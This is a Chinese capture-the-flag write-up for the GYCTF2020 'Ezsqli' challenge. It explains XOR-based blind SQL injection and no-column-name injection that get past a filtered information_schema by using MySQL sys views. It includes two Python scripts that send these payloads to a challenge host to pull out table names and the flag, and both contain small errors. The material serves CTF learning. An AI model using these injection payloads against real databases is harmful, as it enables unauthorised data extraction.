[GYCTF2020]Ezsqli

考点:过滤掉information.schema的盲注和无列名注入

这种sql注入的题还是第一次见,做不出来于是参考了两位大佬的wp颖奇L'Amore和Smi1e

预备知识:聊一聊bypass information_schema

简单来说,这个库在mysql中就是个信息数据库,它保存着mysql服务器所维护的所有其他数据库的信息,包括了数据库名,表名,字段名等。

有了information.schema之后我们就可以通过这个信息数据库来查询我们想要的数据库名,表名,字段名等等,比如:

#查询数据库名
select schema_name form information.schema.schemata 
#查询表名
select group_concat(table_name) from information.schema.tables where table_schema=database()
#查询列名
select group_concat(column_name) from information.schema.columns where table_name='xxx'

那当information.schema被过滤之后怎么办呢?我们就可以找一些他的替代品

select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()
select group_concat(table_name) from sys.x$schema_flattened_keys

使用这两个同样可以查询出数据库下的所有表,好像还有很多,这里我就不一一列举了

好了开始看题,先fuzz一下,发现or,and,if,union selectinformation.schema等等这些都被过滤了,发现^没有被过滤

当输入1^1=1时,出现Error Occured When Fetch Result.字样
当输入1^1=0时,出现Nu1L

说明可以盲注 , 先说一下^异或注入是什么意思:

1^1 返回false
1^0 返回true
0^0 返回false

简言之就只是两个条件相同返回假,一真一假返回真。我们便可以利用这点来进行盲注,我们可以通过返回值判断^后面的不等式是否成立,从而遍历出关键数据。
payload:1^(ascii(mid(database(),1,1))>n)

脚本用上次学到的二分法,很快,下面是exp1:

import requests

url = "http://14f4c589-ab8c-40e7-b99c-4675128613b2.node3.buuoj.cn/index.php"
data = {
    'id':''
}
result = ""
tmp = ''
i = 0
def str2hex(string):
    c='0x'
    a=''
    for i in string:
        a+=hex(ord(i))
    return c+a.replace('0x','')

while(True):
    i = i + 1
    low = 32
    high = 127

    while(low < high):
        tmp = ''
        mid = (low + high) >> 1
        tmp += str2hex(result+chr(mid))
        #payload = "1^(ascii(mid(database(),%d,1))>%d)"%(i,mid) 
        # 数据库名:give_grandpa_pa_pa_pa
        #payload = "1^(ascii(mid((select group_concat(table_name) from sys.x$schema_flattened_keys),%d,1))>%d)"%(i,mid)
        # 表名:news,users,f1ag_1s_h3r3_hhhhh,users233333333333333

        data['id'] = payload
        r = requests.post(url=url,data=data)

        if "Error Occured When Fetch Result." in r.text:
            low = mid + 1
        else:
            high = mid
    
    if low != 32:
        result += chr(low-1)
    else:
        break
    print(result)

得到表名,下面要用到无列名注入,

核心payload:((select 1,{})>(select * from(f1ag_1s_h3r3_hhhhh)))#{}内为需要与目标比较的值

这个是按位比较,先比较第一位,如果第一位相等再比较第二位,再比较第三位···

admin>acmin
flag<flah
flag{123}>glag{123}
上面的admin与acmin,比较时先比较第一位,都是a,相同,再比较下一位,d>c,所以admin>acmin。这样依次按位比较的过程,我们用一个for循环就可以轻松跑出flag,下面是上面大佬的exp:

import requests

url='http://14f4c589-ab8c-40e7-b99c-4675128613b2.node3.buuoj.cn/'
flag=''
tmp=''
def str2hex(string):
    c='0x'
    a=''
    for i in string:
        a+=hex(ord(i))
    return c+a.replace('0x','')
for i in range(1,50):
    for y in range(32,127):
        tmp+=str2hex(flag+chr(y))

        data={
            'id':'0^((select 1,{})>(select * from(f1ag_1s_h3r3_hhhhh)))'.format(tmp)
        }
        a=post(url=url,data=data)
        if 'Nu1L' in a.text:
            flag+=chr(y-1)
            tmp=''
            break
        tmp=''
    print(flag.lower())

其中mysql碰到十六进制会自动转化为字符串,最后明明flag全部为小写,但输出却全部为大写,很奇怪,不太懂,之后再慢慢考虑吧。